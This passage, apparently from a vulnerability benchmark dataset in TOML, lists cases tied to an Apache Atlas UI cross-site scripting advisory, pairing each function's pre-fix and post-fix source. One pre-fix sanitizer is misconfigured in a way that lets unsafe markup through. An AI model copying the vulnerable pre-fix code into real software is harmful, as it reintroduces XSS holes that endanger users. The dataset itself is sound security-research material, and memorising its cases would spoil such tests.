    );\n }\n\n // If no filters to display, return null (don't show empty parentheses)\n if (queryArray.length === 0) {\n return null;\n }\n\n return (\n <>\n {queryArray.length === 1 ? (\n <>{queryArray}\n ) : (\n <>\n (\n {queryArray.map((item, index) => (\n <>\n {index > 0 && (\n <>\n \n {\")\"} AND {\"(\"}\n \n \n )}\n {item}\n \n ))}\n )\n \n )}\n \n );\n};\n\nexport default FilterQuery;" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "_addLegend" +function_lines = [[714, 744]] +id = "apache-atlas-5373cc60e39f63cb" +language = "javascript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboard/src/views/Lineage/atlas-lineage/src/index.js" +post_fix = " _addLegend() {\n if (this.options.legends === false) {\n return;\n }\n var parent = select(this.options.legendsEl || this.options.el);\n parent.selectAll(\"div.legends\").remove();\n var container = parent.insert(\"div\", \":first-child\").classed(\"legends\", true);\n\n let span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-circle-o fa-fw\", true);\n span.append(\"span\").html(\"Current Entity\");\n\n span = container.append(\"span\").style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-hourglass-half fa-fw\", true);\n span.append(\"span\").html(\"In Progress\");\n\n span = container.append(\"span\").style(\"color\", \"#df9b00\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Lineage\");\n\n span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Impact\");\n\n span = container\n .append(\"span\")\n .classed(\"notification hide\", true)\n .style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-exclamation fa-fw\", true);\n span.append(\"span\").html(\"Filtering hides all Expand buttons.\");\n }" +pre_fix = " _addLegend() {\n if (this.options.legends === false) {\n return;\n }\n var container = select(this.options.legendsEl || this.options.el)\n .insert(\"div\", \":first-child\")\n .classed(\"legends\", true);\n\n let span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-circle-o fa-fw\", true);\n span.append(\"span\").html(\"Current Entity\");\n\n span = container.append(\"span\").style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-hourglass-half fa-fw\", true);\n span.append(\"span\").html(\"In Progress\");\n\n span = container.append(\"span\").style(\"color\", \"#df9b00\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Lineage\");\n\n span = container.append(\"span\").style(\"color\", \"#fb4200\");\n span.append(\"i\").classed(\"fa fa-long-arrow-right fa-fw\", true);\n span.append(\"span\").html(\"Impact\");\n\n span = container\n .append(\"span\")\n .classed(\"notification hide\", true)\n .style(\"color\", \"#686868\");\n span.append(\"i\").classed(\"fa fa-exclamation fa-fw\", true);\n span.append(\"span\").html(\"Filtering hides all Expand buttons.\");\n }" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "sanitizeHtmlContent" +function_lines = [[446, 471]] +id = "apache-atlas-7f7bd8d16a1151b1" +language = "typescript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboard/src/utils/Utils.ts" +post_fix = "const sanitizeHtmlContent = (htmlContent: HTMLElement | string | any) => {\n const content =\n typeof htmlContent === \"string\"\n ? htmlContent\n : htmlContent?.toString?.() ?? \"\";\n const cleanContent = sanitizeHtml(content, {\n allowedTags: [\n \"b\",\n \"em\",\n \"strong\",\n \"u\",\n \"a\",\n \"ul\",\n \"ol\",\n \"li\",\n \"p\",\n \"strike\",\n \"h1\",\n \"h2\",\n \"h3\",\n \"h4\"\n ],\n allowedAttributes: {\n a: [\"href\"]\n },\n allowedSchemesByTag: {\n a: [\"http\", \"https\", \"mailto\"]\n }\n });\n return cleanContent;\n};\n" +pre_fix = "const sanitizeHtmlContent = (htmlContent: HTMLElement | string | any) => {\n let cleanContent = sanitizeHtml(htmlContent, {\n allowedTags: [\n \"b\",\n \"em\",\n \"strong\",\n \"u\",\n \"a\",\n \"ul\",\n \"ol\",\n \"li\",\n \"p\",\n \"strike\",\n \"h1\",\n \"h2\",\n \"h3\",\n \"h4\"\n ],\n allowedAttributes: {\n a: [\"href\"]\n },\n allowedSchemesByTag: [\"script\", \"img\", \"iframe\", \"svg\", \"title\"] as any\n });\n return cleanContent;\n};\n" +repo = "apache/atlas" +url = "https://github.com/apache/atlas.git" + +[[case]] +advisory = "GHSA-v73p-f52r-fmmr" +advisory_text = "Apache Atlas UI: Authenticated User XSS\n\nAn authenticated user can perform XSS.\n\nThis issue affects Apache Atlas versions 2.4.0 and earlier.\n\nUsers are recommended to upgrade to version 2.5.0, which fixes the issue." +commit = "800f979307d6ea0f0b6563ec890f6b728022e497" +cwe = "CWE-80" +family = "output_encoding" +function = "function" +function_lines = [[33, 820]] +id = "apache-atlas-940ab56a7aadcda1" +language = "javascript" +method = "fix_site" +parent = "e67cc199e61afc92f242cccd05e97a61e0791bd2" +path = "dashboardv2/public/js/views/search/RelationSearchResultLayoutView.js" +post_fix = "], function(require, Backbone, tableDragger, RelationSearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VRelationshipSearchResultList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform) {\n 'use strict';\n\n var RelationSearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends RelationSearchResultLayoutView */\n {\n _viewName: 'RelationSearchResultLayoutView',\n\n template: RelationSearchResultLayoutViewTmpl,\n\n /** Layout sub regions */\n regions: {\n REntityTableLayoutView: \"#r_relationSearchResultTableLayoutView\"\n },\n\n /** ui selector cache */\n ui: {\n paginationDiv: '[data-id=\"paginationDiv\"]',\n previousData: \"[data-id='previousData']\",\n nextData: \"[data-id='nextData']\",\n pageRecordText: \"[data-id='pageRecordText']\",\n colManager: \"[data-id='colManager']\",\n columnEmptyInfo: \"[data-id='columnEmptyInfo']\",\n showPage: \"[data-id='showPage']\",\n gotoPage: \"[data-id='gotoPage']\",\n gotoPagebtn: \"[data-id='gotoPagebtn']\",\n activePage: \"[data-id='activePage']\"\n },\n templateHelpers: function() {\n return {\n searchType: this.searchType,\n fromView: this.fromView,\n };\n },\n /** ui events hash */\n events: function() {\n var events = {},\n that = this;\n events[\"keyup \" + this.ui.gotoPage] = function(e) {\n var code = e.which,\n goToPage = parseInt(e.currentTarget.value);\n if (e.currentTarget.value) {\n that.ui.gotoPagebtn.attr('disabled', false);\n } else {\n that.ui.gotoPagebtn.attr('disabled', true);\n }\n if (code == 13) {\n if (e.currentTarget.value) {\n that.gotoPagebtn();\n }\n }\n };\n events[\"change \" + this.ui.showPage] = 'changePageLimit';\n events[\"click \" + this.ui.gotoPagebtn] = 'gotoPagebtn';\n events[\"click \" + this.ui.nextData] = \"onClicknextData\";\n events[\"click \" + this.ui.previousData] = \"onClickpreviousData\";\n return events;\n },\n /**\n * intialize a new SearchResultLayoutView Layout\n * @constructs\n */\n initialize: function(options) {\n _.extend(this, _.pick(options, 'value', 'guid', 'initialView', 'searchVent', 'searchTableColumns', 'isTableDropDisable', 'fromView', 'profileDBView', 'relationshipDefCollection'));\n //this.entityModel = new VEntity();\n this.searchCollection = new VRelationshipSearchResultList();\n this.limit = 25;\n this.asyncFetchCounter = 0;\n this.offset = 0;\n this.bindEvents();\n this.searchType = 'Basic Search';\n this.columnOrder = null;\n this.defaultColumns = [\"name\", \"typeName\", \"end1\", \"end2\", \"label\"];\n if (this.value) {\n if (this.value.pageLimit) {\n var pageLimit = parseInt(this.value.pageLimit, 10);\n if (_.isNaN(pageLimit) || pageLimit == 0 || pageLimit <= -1) {\n this.value.pageLimit = this.limit;\n this.triggerUrl();\n } else {\n this.limit = pageLimit;\n }\n }\n if (this.value.pageOffset) {\n var pageOffset = parseInt(this.value.pageOffset, 10);\n if (_.isNaN(pageOffset) || pageLimit <= -1) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n } else {\n this.offset = pageOffset;\n }\n }\n };\n },\n bindEvents: function() {\n var that = this;\n this.onClickLoadMore();\n this.listenTo(this.searchCollection, \"error\", function(model, response) {\n this.hideLoader({ type: 'error' });\n var responseJSON = response && response.responseJSON ? response.responseJSON : null,\n errorText = (responseJSON && (responseJSON.errorMessage || responseJSON.message || responseJSON.error)) || 'Invalid Expression';\n if (errorText) {\n Utils.notifyError({\n content: errorText\n });\n this.$('.searchTable > .well').html('
    ' + _.escape(errorText) + '
    ')\n }\n }, this);\n this.listenTo(this.searchCollection, \"state-changed\", function(state) {\n if (Utils.getUrlState.isRelationTab()) {\n this.updateColumnList(state);\n var excludeDefaultColumn = [];\n if (this.value && this.value.relationshipName) {\n excludeDefaultColumn = _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns);\n if (this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n }\n this.columnOrder = this.getColumnOrder(this.REntityTableLayoutView.$el.find('.colSort th.renderable'));\n this.triggerUrl();\n var attributes = this.searchCollection.filterObj.attributes;\n if ((excludeDefaultColumn && attributes) && (excludeDefaultColumn.length > attributes.length || _.difference(excludeDefaultColumn, attributes).length)) {\n this.fetchCollection(this.value);\n }\n }\n }, this);\n this.listenTo(this.searchVent, \"relationSearch:refresh\", function(model, response) {\n this.updateColumnList();\n this.fetchCollection();\n }, this);\n this.listenTo(this.searchCollection, \"backgrid:sorted\", function(model, response) {\n this.checkTableFetch();\n }, this)\n },\n onRender: function() {\n this.commonTableOptions = {\n collection: this.searchCollection,\n includePagination: false,\n includeFooterRecords: false,\n includeColumnManager: (Utils.getUrlState.isRelationTab() && this.value && this.value.searchType === \"basic\" && !this.profileDBView ? true : false),\n includeOrderAbleColumns: false,\n includeSizeAbleColumns: false,\n includeTableLoader: false,\n includeAtlasTableSorting: true,\n showDefaultTableSorted: true,\n updateFullCollectionManually: true,\n columnOpts: {\n opts: {\n initialColumnsVisible: null,\n saveState: false\n },\n visibilityControlOpts: {\n buttonTemplate: _.template(\"\")\n },\n el: this.ui.colManager\n },\n gridOpts: {\n emptyText: 'No Records found!',\n className: 'table table-hover backgrid table-quickMenu colSort'\n },\n sortOpts: {\n sortColumn: \"name\",\n sortDirection: \"ascending\"\n },\n filterOpts: {},\n paginatorOpts: {}\n };\n if (!this.initialView) {\n var value = {\n 'query': null,\n 'searchType': 'basic'\n };\n if (this.value) {\n value = this.value;\n }\n this.updateColumnList();\n if (this.value && this.searchTableColumns && this.searchTableColumns[this.value.relationshipName] === null) {\n this.ui.columnEmptyInfo.show();\n } else {\n this.ui.columnEmptyInfo.hide();\n }\n this.fetchCollection(value, _.extend({ 'fromUrl': true }, (this.value && this.value.pageOffset ? { 'next': true } : null)));\n this.ui.showPage.select2({\n data: _.sortBy(_.union([25, 50, 100, 150, 200, 250, 300, 350, 400, 450, 500], [this.limit])),\n tags: true,\n dropdownCssClass: \"number-input\",\n multiple: false\n });\n if (this.value && this.value.pageLimit) {\n this.ui.showPage.val(this.limit).trigger('change', { \"skipViewChange\": true });\n }\n } else {\n this.$(\".relationLink\").show();\n }\n },\n getColumnOrderWithPosition: function() {\n var that = this;\n return _.map(that.columnOrder, function(value, key) {\n return key + \"::\" + value;\n }).join(\",\");\n },\n triggerUrl: function(options) {\n Utils.setUrl(_.extend({\n url: Utils.getUrlState.getQueryUrl().queyParams[0],\n urlParams: this.columnOrder ? _.extend(this.value, { 'uiParameters': this.getColumnOrderWithPosition() }) : this.value,\n mergeBrowserUrl: false,\n trigger: false,\n updateTabState: true\n }, options));\n },\n updateColumnList: function(updatedList) {\n if (updatedList) {\n var listOfColumns = [];\n _.map(updatedList, function(obj) {\n var key = obj.name;\n if (obj.renderable) {\n listOfColumns.push(obj.name);\n }\n });\n listOfColumns = _.sortBy(listOfColumns);\n this.value.attributes = listOfColumns.length ? listOfColumns.join(\",\") : null;\n if (this.value && this.value.relationshipName && this.searchTableColumns) {\n this.searchTableColumns[this.value.relationshipName] = listOfColumns.length ? listOfColumns : null;\n }\n } else if (this.value && this.value.relationshipName && this.searchTableColumns && this.value.attributes) {\n this.searchTableColumns[this.value.relationshipName] = this.value.attributes.split(\",\");\n }\n },\n fetchCollection: function(value, options) {\n var that = this,\n isPostMethod = (this.value && this.value.searchType === \"basic\"),\n isRelationSearch = Utils.getUrlState.isRelationTab(),\n relationshipFilters = null;\n if (isRelationSearch) {\n relationshipFilters = CommonViewFunction.attributeFilter.generateAPIObj(this.value.relationshipFilters);\n }\n if (isPostMethod && isRelationSearch) {\n var excludeDefaultColumn = this.value.relationshipName && this.searchTableColumns ? _.difference(this.searchTableColumns[this.value.relationshipName], this.defaultColumns) : null,\n filterObj = {\n 'attributes': excludeDefaultColumn ? excludeDefaultColumn : null,\n 'relationshipFilters': relationshipFilters\n };\n }\n\n this.showLoader();\n if (Globals.searchApiCallRef && Globals.searchApiCallRef.readyState === 1) {\n Globals.searchApiCallRef.abort();\n }\n var apiObj = {\n skipDefaultError: true,\n sort: false,\n success: function(dataOrCollection, response) {\n if (that.isDestroyed) {\n return;\n }\n Globals.searchApiCallRef = undefined;\n var isFirstPage = that.offset === 0,\n dataLength = 0,\n goToPage = that.ui.gotoPage.val();\n that.ui.gotoPage.val('');\n that.ui.gotoPage.parent().removeClass('has-error');\n that.ui.gotoPagebtn.prop(\"disabled\", true);\n if (!(that.ui.pageRecordText instanceof jQuery)) {\n return;\n }\n if (isPostMethod && dataOrCollection && dataOrCollection.relations) {\n dataLength = dataOrCollection.relations.length;\n } else {\n dataLength = dataOrCollection.length;\n }\n\n if (!dataLength && that.offset >= that.limit && ((options && options.next) || goToPage) && (options && !options.fromUrl)) {\n /* User clicks on next button and server returns\n empty response then disabled the next button without rendering table*/\n\n that.hideLoader();\n var pageNumber = that.activePage + 1;\n if (goToPage) {\n pageNumber = goToPage;\n that.offset = (that.activePage - 1) * that.limit;\n } else {\n that.finalPage = that.activePage;\n that.ui.nextData.attr('disabled', true);\n that.offset = that.offset - that.limit;\n }\n if (that.value) {\n that.value.pageOffset = that.offset;\n that.triggerUrl();\n }\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: pageNumber, sup: true }) + ' page'\n });\n return;\n }\n if (isPostMethod) {\n that.searchCollection.reset(dataOrCollection.relations, { silent: true });\n that.searchCollection.fullCollection.reset(dataOrCollection.relations, { silent: true });\n }\n /*Next button check.\n It's outside of Previous button else condition\n because when user comes from 2 page to 1 page than we need to check next button.*/\n if (dataLength < that.limit) {\n that.ui.nextData.attr('disabled', true);\n } else {\n that.ui.nextData.attr('disabled', false);\n }\n\n if (isFirstPage && (!dataLength || dataLength < that.limit)) {\n that.ui.paginationDiv.hide();\n } else {\n that.ui.paginationDiv.show();\n }\n\n // Previous button check.\n if (isFirstPage) {\n that.ui.previousData.attr('disabled', true);\n that.pageFrom = 1;\n that.pageTo = that.limit;\n } else {\n that.ui.previousData.attr('disabled', false);\n }\n\n if (options && options.next) {\n //on next click, adding \"1\" for showing the another records.\n that.pageTo = that.offset + that.limit;\n that.pageFrom = that.offset + 1;\n } else if (!isFirstPage && options && options.previous) {\n that.pageTo = that.pageTo - that.limit;\n that.pageFrom = (that.pageTo - that.limit) + 1;\n }\n that.ui.pageRecordText.html(\"Showing \" + that.searchCollection.models.length + \" records From \" + that.pageFrom + \" - \" + that.pageTo);\n that.activePage = Math.round(that.pageTo / that.limit);\n that.ui.activePage.attr('title', \"Page \" + that.activePage);\n that.ui.activePage.text(that.activePage);\n that.renderTableLayoutView();\n\n if (dataLength > 0) {\n that.$('.searchTable').removeClass('noData')\n }\n\n if (isRelationSearch && value && !that.profileDBView) {\n var searchString = 'Results for: ' + CommonViewFunction.generateQueryOfFilter(that.value) + \"\";\n that.$('.searchResult').html(searchString);\n }\n },\n silent: true,\n reset: true\n }\n if (value) {\n if (value.searchType) {\n this.searchCollection.url = UrlLinks.relationshipSearchApiUrl(value.searchType);\n }\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset, 'query': _.trim(value.query), 'relationshipName': value.relationshipName || null });\n if (isPostMethod) {\n this.searchCollection.filterObj = _.extend({}, filterObj);\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n this.searchCollection.filterObj = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n } else {\n _.extend(this.searchCollection.queryParams, { 'limit': this.limit, 'offset': this.offset });\n if (isPostMethod) {\n apiObj['data'] = _.extend(filterObj, _.pick(this.searchCollection.queryParams, 'query', 'limit', 'offset', 'relationshipName'));\n Globals.searchApiCallRef = this.searchCollection.getBasicRearchResult(apiObj);\n } else {\n apiObj.data = null;\n Globals.searchApiCallRef = this.searchCollection.fetch(apiObj);\n }\n }\n },\n tableRender: function(options) {\n var that = this,\n savedColumnOrder = options.order,\n TableLayout = options.table,\n columnCollection = Backgrid.Columns.extend({\n sortKey: \"displayOrder\",\n className: \"my-awesome-css-animated-grid\",\n comparator: function(item) {\n return item.get(this.sortKey) || 999;\n },\n setPositions: function() {\n _.each(this.models, function(model, index) {\n model.set(\"displayOrder\", (savedColumnOrder == null ? index : parseInt(savedColumnOrder[model.get('label')])) + 1, { silent: true });\n });\n return this;\n }\n });\n var columns = new columnCollection((that.searchCollection.dynamicTable ? that.getDaynamicColumns(that.searchCollection.toJSON()) : that.getFixedDslColumn()));\n columns.setPositions().sort();\n var table = new TableLayout(_.extend({}, that.commonTableOptions, {\n columns: columns\n }));\n if (table.collection.length === 0) {\n that.$(\".searchTable\").addClass('noData');\n }\n if (!that.REntityTableLayoutView) {\n return;\n }\n if (!that.value) {\n that.value = that.options.value;\n }\n that.REntityTableLayoutView.show(table);\n that.$(\".ellipsis-with-margin .inputAssignTag\").hide();\n table.trigger(\"grid:refresh\"); /*Event fire when table rendered*/\n // that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(:first)').addClass('dragHandler');\n if (that.isTableDropDisable !== true) {\n var tableDropFunction = function(from, to, el) {\n tableDragger(document.querySelector(\".colSort\")).destroy();\n that.columnOrder = that.getColumnOrder(el.querySelectorAll('th.renderable'));\n that.triggerUrl();\n that.tableRender({ \"order\": that.columnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n }\n that.REntityTableLayoutView.$el.find('.colSort thead tr th:not(.select-all-header-cell)').addClass('dragHandler');\n tableDragger(document.querySelector(\".colSort\"), { dragHandler: \".dragHandler\" }).on('drop', tableDropFunction);\n }\n },\n renderTableLayoutView: function(col) {\n var that = this;\n require(['utils/TableLayout'], function(TableLayout) {\n // displayOrder added for column manager\n if (that.value.uiParameters) {\n var savedColumnOrder = _.object(that.value.uiParameters.split(',').map(function(a) {\n return a.split('::');\n })); // get Column position from string to object\n }\n\n that.tableRender({ \"order\": savedColumnOrder, \"table\": TableLayout });\n that.checkTableFetch();\n });\n },\n getColumnOrder: function(arr) {\n var obj = {};\n for (var i = 0; i < arr.length; ++i) {\n var innerText = arr[i].innerText.trim();\n obj[(innerText == \"\" ? 'Select' : innerText)] = i;\n }\n return obj;\n },\n checkTableFetch: function() {\n if (this.asyncFetchCounter <= 0) {\n this.hideLoader();\n Utils.generatePopover({\n el: this.$('[data-id=\"showMoreLess\"]'),\n contentClass: 'popover-tag-term',\n viewFixedPopover: true,\n popoverOptions: {\n container: null,\n content: function() {\n return $(this).find('.popup-tag-term').children().clone();\n }\n }\n });\n }\n },\n getFixedDslColumn: function() {\n var that = this,\n nameCheck = 0,\n columnToShow = null,\n col = {};\n this.value = this.fromView === \"glossary\" ? this.value : Utils.getUrlState.getQueryParams() || this.value;\n if (this.value && this.value.searchType === \"basic\" && this.searchTableColumns && (this.searchTableColumns[this.value.relationshipName] !== undefined)) {\n columnToShow = this.searchTableColumns[this.value.relationshipName] == null ? [] : this.searchTableColumns[this.value.relationshipName];\n }\n col['name'] = {\n label: \"Guid\",\n cell: \"html\",\n editable: false,\n resizeable: true,\n orderable: false,\n renderable: true,\n sortable: false,\n className: \"searchTableName\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON(),\n nameHtml = \"\",\n name = Utils.getName(obj),\n img = \"\";\n if (obj.guid) {\n if (obj.guid == \"-1\") {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n } else {\n nameHtml = '' + name + '';\n }\n img = \"
    \";\n if (obj.status && Enums.entityStateReadOnly[obj.status]) {\n nameHtml += '';\n nameHtml = '
    ' + nameHtml + '
    ';\n img = \"
    \";\n }\n return (img + nameHtml);\n }\n })\n };\n if (this.value) {\n col['typeName'] = {\n label: \"Type\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'typeName') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.typeName) {\n return '' + obj.typeName + '';\n }\n }\n })\n };\n col['end1'] = {\n label: \"End1\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.includes(columnToShow, 'end1') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end1) {\n var key, uniqueAttributesValue;\n for (key in obj.end1.uniqueAttributes) {\n uniqueAttributesValue = obj.end1.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end1.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['end2'] = {\n label: \"End2\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: false,\n renderable: (columnToShow ? _.includes(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj && obj.end2) {\n var key, uniqueAttributesValue;\n for (key in obj.end2.uniqueAttributes) {\n uniqueAttributesValue = obj.end2.uniqueAttributes[key];\n }\n uniqueAttributesValue = uniqueAttributesValue ? uniqueAttributesValue : obj.end2.guid;\n return '' + _.escape(uniqueAttributesValue) + '';\n }\n }\n })\n };\n col['label'] = {\n label: \"Label\",\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: true,\n renderable: (columnToShow ? _.includes(columnToShow, 'end2') : true),\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var obj = model.toJSON();\n if (obj) {\n return \"\" + obj.label + \"\"\n }\n }\n })\n };\n\n if (this.value && this.value.searchType === \"basic\") {\n var def = this.relationshipDefCollection.fullCollection.find({ name: this.value.relationshipName });\n if (def) {\n var attrObj = def ? Utils.getNestedSuperTypeObj({ data: def.toJSON(), collection: this.relationshipDefCollection, attrMerge: true }) : [];\n _.each(attrObj, function(obj) {\n var key = _.escape(obj.name),\n isRenderable = _.includes(columnToShow, key),\n // isSortable = obj.typeName.search(/(array|map)/i) == -1;\n isSortable = obj.typeName.search(/(string|date|boolean|int|number|byte|float|long|double|short)/i) == 0; // commented : as sorting is required for all the columns except non-primitive types\n\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n // headerCell: Backgrid.HeaderHTMLDecodeCell,\n editable: false,\n resizeable: true,\n orderable: true,\n sortable: isSortable,\n renderable: isRenderable,\n headerClassName: \"\",\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (modelObj && modelObj.attributes && !_.isUndefined(modelObj.attributes[key])) {\n var tempObj = {\n 'scope': that,\n 'attributeDefs': [obj],\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj.attributes[key];\n var tablecolumn = CommonViewFunction.propertyTable(tempObj);\n if (_.isArray(modelObj.attributes[key])) {\n var column = $(\"
    \" + tablecolumn + \"
    \")\n if (tempObj.valueObject[key].length > 2) {\n column.addClass(\"toggleList semi-collapsed\").append(\"Show More\");\n }\n return column;\n }\n return tablecolumn;\n }\n }\n })\n };\n });\n }\n }\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n onClickLoadMore: function() {\n var that = this;\n this.$el.on('click', \"[data-id='load-more-columns']\", function(event) {\n event.stopPropagation();\n event.stopImmediatePropagation();\n var $this = $(this),\n $toggleList = $(this).parents('.toggleList');\n if ($toggleList.length) {\n if ($toggleList.hasClass('semi-collapsed')) {\n $toggleList.removeClass('semi-collapsed');\n $this.text(\"Show Less\");\n } else {\n $toggleList.addClass('semi-collapsed');\n $this.text(\"Show More\");\n }\n }\n });\n },\n getDaynamicColumns: function(valueObj) {\n var that = this,\n col = {};\n if (valueObj && valueObj.length) {\n var firstObj = _.first(valueObj);\n _.each(_.keys(firstObj), function(key) {\n col[key] = {\n label: key.capitalize(),\n cell: \"Html\",\n editable: false,\n resizeable: true,\n orderable: true,\n formatter: _.extend({}, Backgrid.CellFormatter.prototype, {\n fromRaw: function(rawValue, model) {\n var modelObj = model.toJSON();\n if (key == \"name\") {\n var nameHtml = \"\",\n name = _.escape(modelObj[key]);\n if (modelObj.guid) {\n nameHtml = '' + name + '';\n } else {\n nameHtml = '' + name + '';\n }\n if (modelObj.status && Enums.entityStateReadOnly[modelObj.status]) {\n nameHtml += '';\n return '
    ' + nameHtml + '
    ';\n }\n return nameHtml;\n } else if (modelObj && !_.isUndefined(modelObj[key])) {\n var tempObj = {\n 'scope': that,\n // 'attributeDefs':\n 'valueObject': {},\n 'isTable': false\n };\n tempObj.valueObject[key] = modelObj[key];\n return CommonViewFunction.propertyTable(tempObj);\n }\n }\n })\n };\n });\n }\n return this.searchCollection.constructor.getTableCols(col, this.searchCollection);\n },\n showLoader: function() {\n this.$('.fontLoader:not(.for-ignore)').addClass('show');\n this.$('.tableOverlay').addClass('show');\n },\n hideLoader: function(options) {\n this.$('.fontLoader:not(.for-ignore)').removeClass('show');\n options && options.type === 'error' ? this.$('.ellipsis-with-margin,.pagination-box').hide() : this.$('.ellipsis-with-margin,.pagination-box').show(); // only show for first time and hide when type is error\n this.$('.tableOverlay').removeClass('show');\n },\n onClicknextData: function() {\n this.offset = this.offset + this.limit;\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n next: true\n });\n },\n onClickpreviousData: function() {\n this.offset = this.offset - this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, {\n offset: this.offset\n });\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n this.fetchCollection(null, {\n previous: true\n });\n },\n changePageLimit: function(e, obj) {\n if (!obj || (obj && !obj.skipViewChange)) {\n var limit = parseInt(this.ui.showPage.val());\n if (limit == 0) {\n this.ui.showPage.data('select2').$container.addClass('has-error');\n return;\n } else {\n this.ui.showPage.data('select2').$container.removeClass('has-error');\n }\n this.limit = limit;\n this.offset = 0;\n if (this.value) {\n this.value.pageLimit = this.limit;\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n this.fetchCollection();\n }\n },\n gotoPagebtn: function(e) {\n var that = this;\n var goToPage = parseInt(this.ui.gotoPage.val());\n if (!(_.isNaN(goToPage) || goToPage <= -1)) {\n if (this.finalPage && this.finalPage < goToPage) {\n Utils.notifyInfo({\n html: true,\n content: Messages.search.noRecordForPage + '' + Utils.getNumberSuffix({ number: goToPage, sup: true }) + ' page'\n });\n return;\n }\n this.offset = (goToPage - 1) * this.limit;\n if (this.offset <= -1) {\n this.offset = 0;\n }\n _.extend(this.searchCollection.queryParams, { limit: this.limit, offset: this.offset });\n if (this.offset == (this.pageFrom - 1)) {\n Utils.notifyInfo({\n content: Messages.search.onSamePage\n });\n } else {\n if (this.value) {\n this.value.pageOffset = this.offset;\n this.triggerUrl();\n }\n // this.offset is updated in gotoPagebtn function so use next button calculation.\n this.fetchCollection(null, { 'next': true });\n }\n }\n }\n });\n return RelationSearchResultLayoutView;\n});" +pre_fix = "], function(require, Backbone, tableDragger, RelationSearchResultLayoutViewTmpl, Modal, VEntity, Utils, Globals, VRelationshipSearchResultList, VCommon, CommonViewFunction, Messages, Enums, UrlLinks, platform) {\n 'use strict';\n\n var RelationSearchResultLayoutView = Backbone.Marionette.LayoutView.extend(\n /** @lends RelationSearchResultLayoutView */\n {\n _viewName: 